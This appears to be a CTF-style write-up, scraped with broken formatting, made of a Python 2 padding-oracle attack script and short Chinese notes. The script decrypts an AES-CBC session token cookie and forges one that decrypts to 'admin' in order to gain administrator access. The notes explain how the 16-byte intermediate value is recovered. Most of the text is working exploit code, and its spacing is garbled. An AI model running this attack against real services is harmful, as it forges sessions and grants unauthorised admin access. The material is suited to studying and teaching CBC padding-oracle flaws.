definject_token(token): header = {"Cookie": "PHPSESSID=" + phpsession + ";token=" + token} result = requests.post(url, headers = header) return result
defxor(a, b): return"".join([chr(ord(a[i]) ^ ord(b[i % len(b)])) for i in xrange(len(a))])
defpad(string, N): l = len(string) if l != N: return string + chr(N - l) * (N - l)
defpadding_oracle(N): get = "" for i in xrange(1, N+1): for j in xrange(0, 256): padding = xor(get, chr(i) * (i-1)) #print padding c = chr(0) * (16-i) + chr(j) + padding result = inject_token(base64.b64encode(c)) if"Error!"notin result.content: #print j,i get = chr(j ^ i) + get #print get break return get
while1: session = requests.get(url).headers['Set-Cookie'].split(',') phpsession = session[0].split(";")[0][10:] print phpsession token = session[1][6:].replace("%3D", '=').replace("%2F", '/').replace("%2B", '+').decode('base64') middle1 = padding_oracle(N) #print middle1 print"\n" #exit() if(len(middle1) + 1 == 16): for i in xrange(0, 256): middle = chr(i) + middle1 print"token:" + token print"middle:" + middle plaintext = xor(middle,token) print"plaintext:" + plaintext des = pad('admin', N) tmp = "" print des print des.encode("base64") for i in xrange(16): tmp += chr(ord(token[i]) ^ ord(plaintext[i]) ^ ord(des[i])) print"faked token:" + tmp.encode('base64') print"session:" + phpsession result = inject_token(base64.b64encode(tmp)) if"You are admin!"in result.content: print result.content print"success" exit()
aes-128-cbc的middel中间值当然也是16字节
从代码里可以看到,对16字节的middel的后15字节调用了padding_oracle()函数
1
for i in xrange(1, N+1):
然后单独对第1个字节进行爆破处理
1 2 3 4 5 6
if(len(middle1) + 1 == 16): for i in xrange(0, 256): middle = chr(i) + middle1 print"token:" + token print"middle:" + middle plaintext = xor(middle,token)